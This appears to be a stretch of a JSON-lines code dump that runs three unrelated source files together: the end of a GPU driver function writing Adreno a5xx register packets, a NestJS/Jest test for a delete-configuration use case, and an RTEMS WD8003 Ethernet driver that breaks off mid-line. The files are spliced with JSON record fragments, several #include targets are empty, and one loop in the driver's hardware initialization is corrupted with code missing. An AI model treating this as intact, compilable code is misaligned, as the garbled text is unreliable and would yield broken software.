*/\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E292, 2);\n\tOUT_RING(ring, 0x00000000); /* UNKNOWN_E292 */\n\tOUT_RING(ring, 0x00000000); /* UNKNOWN_E293 */\n\n\tOUT_PKT4(ring, REG_A5XX_RB_MODE_CNTL, 1);\n\tOUT_RING(ring, 0x00000044); /* RB_MODE_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_RB_DBG_ECO_CNTL, 1);\n\tOUT_RING(ring, 0x00100000); /* RB_DBG_ECO_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_VFD_MODE_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* VFD_MODE_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_PC_MODE_CNTL, 1);\n\tOUT_RING(ring, 0x0000001f); /* PC_MODE_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_SP_MODE_CNTL, 1);\n\tOUT_RING(ring, 0x0000001e); /* SP_MODE_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_SP_DBG_ECO_CNTL, 1);\n\tOUT_RING(ring, 0x40000800); /* SP_DBG_ECO_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_TPL1_MODE_CNTL, 1);\n\tOUT_RING(ring, 0x00000544); /* TPL1_MODE_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_HLSQ_TIMEOUT_THRESHOLD_0, 2);\n\tOUT_RING(ring, 0x00000080); /* HLSQ_TIMEOUT_THRESHOLD_0 */\n\tOUT_RING(ring, 0x00000000); /* HLSQ_TIMEOUT_THRESHOLD_1 */\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_DBG_ECO_CNTL, 1);\n\tOUT_RING(ring, 0x00000400); /* VPC_DBG_ECO_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_HLSQ_MODE_CNTL, 1);\n\tOUT_RING(ring, 0x00000001); /* HLSQ_MODE_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_MODE_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* VPC_MODE_CNTL */\n\n\t/* we don't use this yet.. probably best to disable.. */\n\tOUT_PKT7(ring, CP_SET_DRAW_STATE, 3);\n\tOUT_RING(ring, CP_SET_DRAW_STATE__0_COUNT(0) |\n\t\t\tCP_SET_DRAW_STATE__0_DISABLE_ALL_GROUPS |\n\t\t\tCP_SET_DRAW_STATE__0_GROUP_ID(0));\n\tOUT_RING(ring, CP_SET_DRAW_STATE__1_ADDR_LO(0));\n\tOUT_RING(ring, CP_SET_DRAW_STATE__2_ADDR_HI(0));\n\n\tOUT_PKT4(ring, REG_A5XX_GRAS_SU_CONSERVATIVE_RAS_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* GRAS_SU_CONSERVATIVE_RAS_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_GRAS_SC_BIN_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* GRAS_SC_BIN_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_GRAS_SC_BIN_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* GRAS_SC_BIN_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_FS_PRIMITIVEID_CNTL, 1);\n\tOUT_RING(ring, 0x000000ff); /* VPC_FS_PRIMITIVEID_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_OVERRIDE, 1);\n\tOUT_RING(ring, A5XX_VPC_SO_OVERRIDE_SO_DISABLE);\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUFFER_BASE_LO(0), 3);\n\tOUT_RING(ring, 0x00000000); /* VPC_SO_BUFFER_BASE_LO_0 */\n\tOUT_RING(ring, 0x00000000); /* VPC_SO_BUFFER_BASE_HI_0 */\n\tOUT_RING(ring, 0x00000000); /* VPC_SO_BUFFER_SIZE_0 */\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_FLUSH_BASE_LO(0), 2);\n\tOUT_RING(ring, 0x00000000); /* VPC_SO_FLUSH_BASE_LO_0 */\n\tOUT_RING(ring, 0x00000000); /* VPC_SO_FLUSH_BASE_HI_0 */\n\n\tOUT_PKT4(ring, REG_A5XX_PC_GS_PARAM, 1);\n\tOUT_RING(ring, 0x00000000); /* PC_GS_PARAM */\n\n\tOUT_PKT4(ring, REG_A5XX_PC_HS_PARAM, 1);\n\tOUT_RING(ring, 0x00000000); /* PC_HS_PARAM */\n\n\tOUT_PKT4(ring, REG_A5XX_TPL1_TP_FS_ROTATION_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* TPL1_TP_FS_ROTATION_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E001, 1);\n\tOUT_RING(ring, 0x00000000); /* UNKNOWN_E001 */\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E004, 1);\n\tOUT_RING(ring, 0x00000000); /* UNKNOWN_E004 */\n\n\tOUT_PKT4(ring, REG_A5XX_GRAS_SU_LAYERED, 1);\n\tOUT_RING(ring, 0x00000000); /* GRAS_SU_LAYERED */\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E29A, 1);\n\tOUT_RING(ring, 0x00ffff00); /* UNKNOWN_E29A */\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUF_CNTL, 1);\n\tOUT_RING(ring, 0x00000000); /* VPC_SO_BUF_CNTL */\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUFFER_OFFSET(0), 1);\n\tOUT_RING(ring, 0x00000000); /* UNKNOWN_E2AB */\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E389, 1);\n\tOUT_RING(ring, 0x00000000); /* UNKNOWN_E389 */\n\n\tOUT_PKT4(ring, REG_A5XX_PC_GS_LAYERED, 1);\n\tOUT_RING(ring, 0x00000000); /* PC_GS_LAYERED */\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E5AB, 1);\n\tOUT_RING(ring, 0x00000000); /* UNKNOWN_E5AB */\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E5C2, 1);\n\tOUT_RING(ring, 0x00000000); /* UNKNOWN_E5C2 */\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUFFER_BASE_LO(1), 3);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUFFER_OFFSET(1), 6);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUFFER_OFFSET(2), 6);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_VPC_SO_BUFFER_OFFSET(3), 3);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E5DB, 1);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_SP_HS_CTRL_REG0, 1);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_SP_GS_CTRL_REG0, 1);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_TPL1_VS_TEX_COUNT, 4);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_TPL1_FS_TEX_COUNT, 2);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E7C0, 3);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E7C5, 3);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E7CA, 3);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E7CF, 3);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E7D4, 3);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_UNKNOWN_E7D9, 3);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\tOUT_RING(ring, 0x00000000);\n\n\tOUT_PKT4(ring, REG_A5XX_RB_CLEAR_CNTL, 1);\n\tOUT_RING(ring, 0x00000000);\n}\n\nstatic void\nfd5_emit_ib(struct fd_ringbuffer *ring, struct fd_ringbuffer *target)\n{\n\t/* for debug after a lock up, write a unique counter value\n\t * to scratch6 for each IB, to make it easier to match up\n\t * register dumps to cmdstream. The combination of IB and\n\t * DRAW (scratch7) is enough to \"triangulate\" the particular\n\t * draw that caused lockup.\n\t */\n\temit_marker5(ring, 6);\n\t__OUT_IB5(ring, target);\n\temit_marker5(ring, 6);\n}\n\nstatic void\nfd5_mem_to_mem(struct fd_ringbuffer *ring, struct pipe_resource *dst,\n\t\tunsigned dst_off, struct pipe_resource *src, unsigned src_off,\n\t\tunsigned sizedwords)\n{\n\tstruct fd_bo *src_bo = fd_resource(src)->bo;\n\tstruct fd_bo *dst_bo = fd_resource(dst)->bo;\n\tunsigned i;\n\n\tfor (i = 0; i < sizedwords; i++) {\n\t\tOUT_PKT7(ring, CP_MEM_TO_MEM, 5);\n\t\tOUT_RING(ring, 0x00000000);\n\t\tOUT_RELOCW(ring, dst_bo, dst_off, 0, 0);\n\t\tOUT_RELOC (ring, src_bo, src_off, 0, 0);\n\n\t\tdst_off += 4;\n\t\tsrc_off += 4;\n\t}\n}\n\nvoid\nfd5_emit_init(struct pipe_context *pctx)\n{\n\tstruct fd_context *ctx = fd_context(pctx);\n\tctx->emit_const = fd5_emit_const;\n\tctx->emit_const_bo = fd5_emit_const_bo;\n\tctx->emit_ib = fd5_emit_ib;\n\tctx->mem_to_mem = fd5_mem_to_mem;\n}\n"} +{"text": "/*\n * Copyright 2020 ZUP IT SERVICOS EM TECNOLOGIA E INOVACAO SA\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport { Test } from '@nestjs/testing'\nimport { CdConfigurationsRepositoryStub } from '../../stubs/repository'\nimport { CdConfigurationsRepository } from '../../../app/v1/api/configurations/repository'\nimport { DeleteCdConfigurationUsecase } from '../../../app/v1/api/configurations/use-cases'\nimport { CdConfigurationEntity } from '../../../app/v1/api/configurations/entity'\nimport { CdTypeEnum } from '../../../app/v1/api/configurations/enums'\n\ndescribe('DeleteCdConfigurationUsecase', () => {\n\n let deleteCdConfigurationUsecase: DeleteCdConfigurationUsecase\n let cdConfigurationsRepository: CdConfigurationsRepository\n let cdConfiguration: CdConfigurationEntity\n let cdConfigurationId: string\n let workspaceId: string\n\n beforeEach(async() => {\n\n const module = await Test.createTestingModule({\n providers: [\n DeleteCdConfigurationUsecase,\n { provide: CdConfigurationsRepository, useClass: CdConfigurationsRepositoryStub }\n ]\n }).compile()\n\n cdConfigurationId = 'b801919e-9f23-41af-a446-6f829fce3910'\n workspaceId = '374c006b-8cfe-42d9-aea1-79b974c79262'\n deleteCdConfigurationUsecase = module.get(DeleteCdConfigurationUsecase)\n cdConfigurationsRepository = module.get(CdConfigurationsRepository)\n cdConfiguration = new CdConfigurationEntity(\n CdTypeEnum.SPINNAKER,\n { account: 'my-account', gitAccount: 'git-account', url: 'www.spinnaker.url', namespace: 'my-namespace' },\n 'config-name',\n 'authorId',\n workspaceId\n )\n\n })\n\n describe('execute', () => {\n it('should delete cd configuration according to cdConfigurationId and workspaceId', async() => {\n\n jest.spyOn(cdConfigurationsRepository, 'findDecrypted')\n .mockImplementation(() => Promise.resolve(cdConfiguration))\n\n const repositorySpy = jest.spyOn(cdConfigurationsRepository, 'delete')\n\n await deleteCdConfigurationUsecase.execute(cdConfigurationId, workspaceId)\n expect(repositorySpy).toHaveBeenCalledWith(cdConfigurationId)\n })\n })\n})\n"} +{"text": "/*\n * RTEMS driver for WD800x\n *\n * Based on the 68360 Network Driver by:\n * W. Eric Norum\n * Saskatchewan Accelerator Laboratory\n * University of Saskatchewan\n * Saskatoon, Saskatchewan, CANADA\n * eric@skatter.usask.ca\n */\n\n#include \n\n#include \n#include \n\n#include \n#include \n#include \t/* memcpy, memset */\n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \n\n#include \n#include \n\n#include \n\n#define\tET_MINLEN 60\t\t/* minimum message length */\n\n/*\n * Number of WDs supported by this driver\n */\n#define NWDDRIVER\t1\n\n/*\n * Default number of buffer descriptors set aside for this driver.\n * The number of transmit buffer descriptors has to be quite large\n * since a single frame often uses four or more buffer descriptors.\n */\n#define RX_BUF_COUNT 15\n#define TX_BUF_COUNT 4\n#define TX_BD_PER_BUF 4\n\n/*\n * RTEMS event used by interrupt handler to signal driver tasks.\n * This must not be any of the events used by the network task synchronization.\n */\n#define INTERRUPT_EVENT\tRTEMS_EVENT_1\n\n/*\n * RTEMS event used to start transmit daemon.\n * This must not be the same as INTERRUPT_EVENT.\n */\n#define START_TRANSMIT_EVENT\tRTEMS_EVENT_2\n\n/*\n * Receive buffer size -- Allow for a full ethernet packet including CRC\n */\n#define RBUF_SIZE\t1520\n\n#if (MCLBYTES < RBUF_SIZE)\n# error \"Driver must have MCLBYTES > RBUF_SIZE\"\n#endif\n\n/*\n * Per-device data\n */\nstruct wd_softc {\n struct arpcom\t\t\tarpcom;\n struct mbuf\t\t\t**rxMbuf;\n struct mbuf\t\t\t**txMbuf;\n int\t\t\t\tacceptBroadcast;\n int\t\t\t\trxBdCount;\n int\t\t\t\ttxBdCount;\n int\t\t\t\ttxBdHead;\n int\t\t\t\ttxBdTail;\n int\t\t\t\ttxBdActiveCount;\n rtems_id\t\t\trxDaemonTid;\n rtems_id\t\t\ttxDaemonTid;\n rtems_vector_number name;\n\n unsigned int \t\t\tport;\n unsigned char\t\t\t*base;\n unsigned long\t\t\tbpar;\n\n /*\n * Statistics\n */\n unsigned long\trxInterrupts;\n unsigned long\trxNotFirst;\n unsigned long\trxNotLast;\n unsigned long\trxGiant;\n unsigned long\trxNonOctet;\n unsigned long\trxRunt;\n unsigned long\trxBadCRC;\n unsigned long\trxOverrun;\n unsigned long\trxCollision;\n\n unsigned long\ttxInterrupts;\n unsigned long\ttxDeferred;\n unsigned long\ttxHeartbeat;\n unsigned long\ttxLateCollision;\n unsigned long\ttxRetryLimit;\n unsigned long\ttxUnderrun;\n unsigned long\ttxLostCarrier;\n unsigned long\ttxRawWait;\n};\n\n#define RO 0x10\n\n#define SHATOT (8*1024)\t\t/* size of shared memory */\n#define SHAPAGE 256\t\t/* shared memory information */\n#define MAXSIZ \t1536\t\t/*(MAXBUF - MESSH_SZ)*/\n#define OUTPAGE ((SHATOT-(MAXSIZ+SHAPAGE-1))/SHAPAGE)\n\nstatic volatile unsigned long overrun;\nstatic volatile unsigned long resend;\nstatic struct wd_softc wd_softc[NWDDRIVER];\n\n/*\n * WD interrupt handler\n */\nstatic void\nwd8003Enet_interrupt_handler (void * unused)\n{\n unsigned int tport;\n unsigned char status, status2;\n\n tport = wd_softc[0].port ;\n\n /*\n * Read status\n */\n inport_byte(tport+ISR, status);\n outport_byte(tport+IMR, 0x00);\n\n /*\n * Ring overwrite\n */\n\n if (status & MSK_OVW){\n outport_byte(tport+CMDR, MSK_STP + MSK_RD2);\t/* stop 8390 */\n Wait_X_ms(2);\n outport_byte(tport+RBCR0, 0);\t\t\t/* clear byte count */\n outport_byte(tport+RBCR1, 0);\n inport_byte(tport+ISR, status2);\n status |= (status2 & (MSK_PTX+MSK_TXE)) ;\t/* TX status */\n outport_byte(tport+TCR, MSK_LOOP);\t\t/* loopback mode */\n outport_byte(tport+CMDR, MSK_STA + MSK_RD2);\t/* start */\n overrun = 1 ;\n if ((status & (MSK_PTX+MSK_TXE)) == 0)\n\tresend = 1;\n }\n\n /*\n * Frame received?\n */\n if (status & (MSK_PRX+MSK_RXE)) {\n outport_byte(tport+ISR, status & (MSK_PRX+MSK_RXE));\n wd_softc[0].rxInterrupts++;\n rtems_bsdnet_event_send (wd_softc[0].rxDaemonTid, INTERRUPT_EVENT);\n }\n\n}\n\n/*\n * Initialize the ethernet hardware\n */\nstatic void\nwd8003Enet_initialize_hardware (struct wd_softc *sc)\n{\n int i1, ultra;\n char cc1, cc2;\n unsigned char temp;\n rtems_status_code status;\n unsigned int tport;\n unsigned char *hwaddr;\n\n tport = sc->port;\n\n /* address from board ROM */\n inport_byte(tport+0x04, temp);\n outport_byte(tport+0x04, temp & 0x7f);\n\n hwaddr = sc->arpcom.ac_enaddr;\n for (i1=cc2=0; i1<8; i1++) {\n inport_byte(tport + ADDROM + i1, cc1);\n cc2 += cc1;\n if (i1 < 6)\n hwaddr[i1] = cc1;\n }\n\n inport_byte(tport+0x04, temp);\n outport_byte(tport+0x04, temp | 0x80);\t/* alternate registers */\n outport_byte(tport+W83CREG, MSK_RESET);\t/* reset board, set buffer */\n outport_byte(tport+W83CREG, 0);\n outport_byte(tport+W83CREG, MSK_ENASH + (int)((sc->bpar>>13)&0x3f));\n\n outport_byte(tport+CMDR, MSK_PG0 + MSK_RD2);\n cc1 = MSK_BMS + MSK_FT10; /* configure 8 or 16 bits */\n\n inport_byte(tport+0x07, temp) ;\n\n ultra = ((temp & 0xf0) == 0x20 || (temp & 0xf0) == 0x40);\n if (ultra)\n cc1 = MSK_WTS + MSK_BMS + MSK_FT10;\n outport_byte(tport+DCR, cc1);\n outport_byte(tport+RBCR0, 0);\n outport_byte(tport+RBCR1, 0);\n outport_byte(tport+RCR, MSK_MON);\t \t/* disable the rxer */\n outport_byte(tport+TCR, 0);\t\t\t/* normal operation */\n outport_byte(tport+PSTOP, OUTPAGE);\t\t/* init PSTOP */\n outport_byte(tport+PSTART, 0);\t \t/* init PSTART */\n outport_byte(tport+BNRY, -1);\t\t\t/* init BNRY */\n outport_byte(tport+ISR, -1);\t\t\t/* clear IR's */\n outport_byte(tport+IMR, 0x15);\t \t/* enable interrupt */\n\n outport_byte(tport+CMDR, MSK_PG1 + MSK_RD2);\n\n for (i1=0; i1<6; i1++)\t\t\t/* initial physical addr */\n outport_byte(tport+PAR+i1, hwaddr[i1]);\n\n for (i1=0; i1name,\n \"wd8003\",\n RTEMS_INTERRUPT_UNIQUE,\n wd8003Enet_interrupt_handler,\n NULL\n );\n assert(status == RTEMS_SUCCESSFUL);\n}\n\nstatic void\nwd_rxDaemon (void *arg)\n{\n unsigned int tport;\n struct ether_header *eh;\n struct wd_softc *dp = (struct wd_softc *)&wd_softc[0];\n struct ifnet *ifp = &dp->arpcom.ac_if;\n struct mbuf *m;\n unsigned int i2;\n unsigned int len;\n volatile unsigned char start, next, current;\n unsigned char *shp, *temp;\n unsigned short *real_short_ptr;\n rtems_event_set events;\n\n tport = wd_softc[0].port ;\n\n for (;;){\n\n rtems_bsdnet_event_receive (INTERRUPT_EVENT,\n\t\t\t\tRTEMS_WAIT|RTEMS_EVENT_ANY,\n\t\t\t\tRTEMS_NO_TIMEOUT,\n\t\t\t\t&events);\n\n for (;;){\n inport_byte(tport+BNRY, start);\n\n outport_byte(tport+CMDR, MSK_PG1 + MSK_RD2);\n inport_byte(tport+CURR, current);\n outport_byte(tport+CMDR, MSK_PG0 + MSK_RD2);\n\n start += 1;\n if (start >= OUTPAGE){\n\tstart = 0;\n }\n\n if (current == start)\n\tbreak;\n\n /* real_short_ptr avoids cast on lvalue which gcc no longer allows */\n shp = dp->base + 1 + (SHAPAGE * start);\n next = *shp++;\n real_short_ptr = (unsigned short *)shp;\n len = *(real_short_ptr)++ - 4;\n\n if (next >= OUTPAGE){\n\tnext = 0;\n }\n\n MGETHDR (m, M_WAIT, MT_DATA);\n MCLGET (m, M_WAIT);\n m->m_pkthdr.rcvif = ifp;\n\n temp = (unsigned char *) m->m_data;\n m->m_len = m->m_pkthdr.len = len - sizeof(struct ether_header);\n\n if ((i2 = (OUTPAGE - start) * SHAPAGE - 4) < len){\n\tmemcpy(temp, shp, i2);\n\tlen -= i2;\n\ttemp += i2;\n\tshp = dp->base;\n }\n memcpy(temp, shp, len);\n\n eh = mtod (m, struct ether_header *);\n m->m_data += sizeof(struct ether_header);\n ether_input (ifp, eh, m);\n\n outport_byte(tport+BNRY, next-1);\n }\n\n /*\n * Ring overwrite\n */\n if (overrun){\n outport_byte(tport+ISR, MSK_OVW);\t\t/* reset IR */\n outport_byte(tport+TCR, 0);\t\t/* out of loopback */\n if (resend == 1)\n\toutport_byte(tport+CMDR, MSK_TXP + MSK_RD2);\t/* resend */\n resend = 0;\n overrun = 0;\n }\n\n outport_byte(tport+IMR, 0x15); /* re-enable IT rx */\n }\n}\n\nstatic void\nsendpacket (struct ifnet *ifp, struct mbuf *m)\n{\n\tstruct wd_softc *dp = ifp->if_softc;\n\tstruct mbuf *n;\n\tunsigned int len, tport;\n\tuint8_t *shp, txReady;\n\n\ttport = dp->port;\n\n /*\n * Waiting for Transmitter ready\n */\n inport_byte(tport+CMDR, txReady);\n while(txReady & MSK_TXP)\n inport_byte(tport+CMDR, txReady);\n\n len = 0;\n shp = dp->base + (SHAPAGE * OUTPAGE);\n\n n = m;\n\n for (;;){\n len += m->m_len;\n memcpy(shp, (char *)m->m_data, m->m_len);\n shp += m->m_len ;\n if ((m = m->m_next) == NULL)\n break;\n }\n\n m_freem(n);\n\n if (len < ET_MINLEN) len = ET_MINLEN;\n outport_byte(tport+TBCR0, len);\n outport_byte(tport+TBCR1, (len >> 8) );\n outport_byte(tport+TPSR, OUTPAGE);\n outport_byte(tport+CMDR, MSK_TXP + MSK_RD2);\n}\n\n/*\n * Driver transmit daemon\n */\nstatic void\nwd_txDaemon (void *arg)\n{\n\tstruct wd_softc *sc = (struct wd_softc *)arg;\n\tstruct ifnet *ifp = &sc->arpcom.ac_if;\n\tstruct mbuf *m;\n\trtems_event_set events;\n\n\tfor (;;) {\n\t\t/*\n\t\t * Wait for packet\n\t\t */\n\t\trtems_bsdnet_event_receive (START_TRANSMIT_EVENT, RTEMS_EVENT_ANY | RTEMS_WAIT, RTEMS_NO_TIMEOUT, &events);\n\n\t\t/*\n\t\t * Send packets till queue is empty\n\t\t */\n\t\tfor (;;) {\n\t\t\t/*\n\t\t\t * Get the next mbuf chain to transmit.\n\t\t\t */\n\t\t\tIF_DEQUEUE(&ifp->if_snd, m);\n\t\t\tif (!m)\n\t\t\t\tbreak;\n\t\t\tsendpacket (ifp, m);\n\t\t}\n\t\tifp->if_flags &= ~IFF_OACTIVE;\n\t}\n}\n\n/*\n * Send packet (caller provides header).\n */\nstatic void\nwd_start (struct ifnet *ifp)\n{\n\tstruct wd_softc *sc = ifp->if_softc;\n\n\trtems_bsdnet_event_send (sc->txDaemonTid, START_TRANSMIT_EVENT);\n\tifp->if_flags |= IFF_OACTIVE;\n}\n\n/*\n * Initialize and start the device\n */\nstatic void\nwd_init (void *arg)\n{\n struct wd_softc *sc = arg;\n struct ifnet *ifp = &sc->arpcom.ac_if;\n\n if (sc->txDaemonTid == 0) {\n\n /*\n * Set up WD hardware\n */\n wd8003Enet_initialize_hardware (sc);\n\n /*\n * Start driver tasks\n */\n sc->txDaemonTid = rtems_bsdnet_newproc (\"SCtx\", 4096, wd_txDaemon, sc);\n sc->rxDaemonTid = rtems_bsdnet_newproc (\"SCrx\", 4096, wd_rxDaemon, sc);\n }\n\n /*\n * Tell the world that we're running.\n */\n ifp->if_flags |= IFF_RUNNING;\n\n}\n\n/*\n * Stop the device\n */\nstatic void\nwd_stop (struct wd_softc *sc)\n{\n unsigned int tport;\n unsigned char temp;\n struct ifnet *ifp = &sc->arpcom.ac_if;\n\n ifp->if_flags &= ~IFF_RUNNING;\n\n /*\n * Stop the transmitter\n */\n tport=wd_softc[0].port ;\n inport_byte(tport+0x04,temp);\n outport_byte(tport+0x04, temp & 0x7f);\n outport_byte(tport + CMDR, MSK_STP + MSK_RD2);\n\n}\n\n/*\n * Show interface statistics\n */\nstatic void\nwd_stats (struct wd_softc *sc)\n{\n\tprintf (\" Rx Interrupts:%-8lu\", sc->rxInterrupts);\n\tprintf (\" Not First:%-8lu\", sc->rxNotFirst);\n\tprintf (\" Not Last:%-8lu\\n\", sc->rxNotLast);\n\tprintf (\" Giant:%-8lu\", sc->rxGiant);\n\tprintf (\" Runt:%-8lu\", sc->rxRunt);\n\tprintf (\" Non-octet:%-8lu\\n\", sc->rxNonOctet);\n\tprintf (\" Bad CRC:%-8lu\", sc->rxBadCRC);\n\tprintf (\" Overrun:%-8lu\", sc->rxOverrun);\n\tprintf (\" Collision:%-8lu\\n\", sc->rxCollision);\n\n\tprintf (\" Tx Interrupts:%-8lu\", sc->txInterrupts);\n\tprintf (\" Deferred:%-8lu\", sc->txDeferred);\n\tprintf (\" Missed Hearbeat:%-8lu\\n\", sc->txHeartbeat);\n\tprintf (\" No Carrier:%-8lu\", sc->txLostCarrier);\n\tprintf (\"Retransmit Limit:%-8lu\", sc->txRetryLimit);\n\tprintf (\" Late Collision:%-8lu\\n\", sc->txLateCollision);\n\tprintf (\" Underrun:%-8lu\", sc->txUnderrun);\n\tprintf (\" Raw output wait:%-8lu\\n\", sc->txRawWait);\n}\n\n/*\n * Driver ioctl handler\n */\nstatic int\nwd_ioctl (struct ifnet *ifp, ioctl_command_t command, caddr_t data)\n{\n\tstruct wd_softc *sc = ifp->if_softc;\n\tint error = 0;\n\n\tswitch (command) {\n\tcase SIOCGIFADDR:\n\tcase SIOCSIFADDR:\n\t\tether_ioctl (ifp, command, data);\n\t\tbreak;\n\n\tcase SIOCSIFFLAGS:\n\t\tswitch (ifp->if_flags & (IFF_UP | IFF_RUNNING)) {\n\t\tcase IFF_RUNNING:\n\t\t\twd_stop (sc);\n\t\t\tbreak;\n\n\t\tcase IFF_UP:\n\t\t\twd_init (sc);\n\t\t\tbreak;\n\n\t\tcase IFF_UP | IFF_RUNNING:\n\t\t\twd_stop (sc);\n\t\t\twd_init (sc);\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\n\tcase SIO_RTEMS_SHOW_STATS:\n\t\twd_stats (sc);\n\t\tbreak;\n\n\t/*\n\t * FIXME: All sorts of multicast commands need to be added here!\n\t */\n\tdefault:\n\t\terror = EINVAL;\n\t\tbreak;\n\t}\n\treturn error;\n}\n\n/*\n * Attach an WD driver to the system\n */\nint\nrtems_wd_driver_attach (struct rtems_bsdnet_ifconfig *config, int attach)\n{\n\tstruct wd_softc *sc;\n\tstruct ifnet *ifp;\n\tint mtu;\n\tint i;\n\n\t/*\n\t * Find a free driver\n\t */\n\tfor (i = 0 ; i < NWDDRIVER ; i++) {\n\t\tsc = &wd_softc[i];\n\t\tifp = &sc->arpcom.ac_if;\n\t\tif (ifp->if_softc == NULL)\n\t\t\tbreak;\n\t}\n\tif (i >= NWDDRIVER) {\n\t\tprintf (\"Too many WD drivers.\\n\");\n\t\treturn 0;\n\t}\n\n\t/*\n\t * Process options\n\t */\n\tif (config->hardware_address) {\n\t memcpy (sc->arpcom.ac_enaddr, config->hardware_address,\n\t\t ETHER_ADDR_LEN);\n\t}\n\telse {\n\t memset (sc->arpcom.ac_enaddr, 0x08,ETHER_ADDR_LEN);\n\t}\n\tif (config->mtu)\n\t\tmtu = config->mtu;\n\telse\n\t\tmtu = ETHERMTU;\n\n\tif (config->irno)\n\t\tsc->name = config->irno;\n\telse\n\t\tsc->name = 5;\n\n\tif (config->port)\n\t\tsc->port = config->port;\n\telse\n\t\tsc->port = 0x240;\n\n\tif (config->bpar) {\n\t\tsc->bpar = config->bpar;\n\t\tsc->base = (unsigned char*) config->bpar;\n\t}\n\telse {\n\t\tsc->bpar = 0xD0000;\n\t\tsc->base = (unsigned char*) 0xD0000;\n\t}\n\n\tsc->acceptBroadcast = !config->ignore_broadcast;\n\n\t/*\n\t * Set up network interface values\n\t */\n\tifp->if_softc = sc;\n\tifp->if_unit = i + 1;\n\tifp->if_name = \"wd\";\n\tifp->if_mtu = mtu;\n\tifp->if_init = wd_init;\n\tifp->if_ioctl = wd_ioctl;\n\tifp->if_start = wd_start;\n\tifp->if_output = ether_output;\n\tifp->if_flags = IFF_BROADCAST | IFF_SIMPLEX;\n\tif 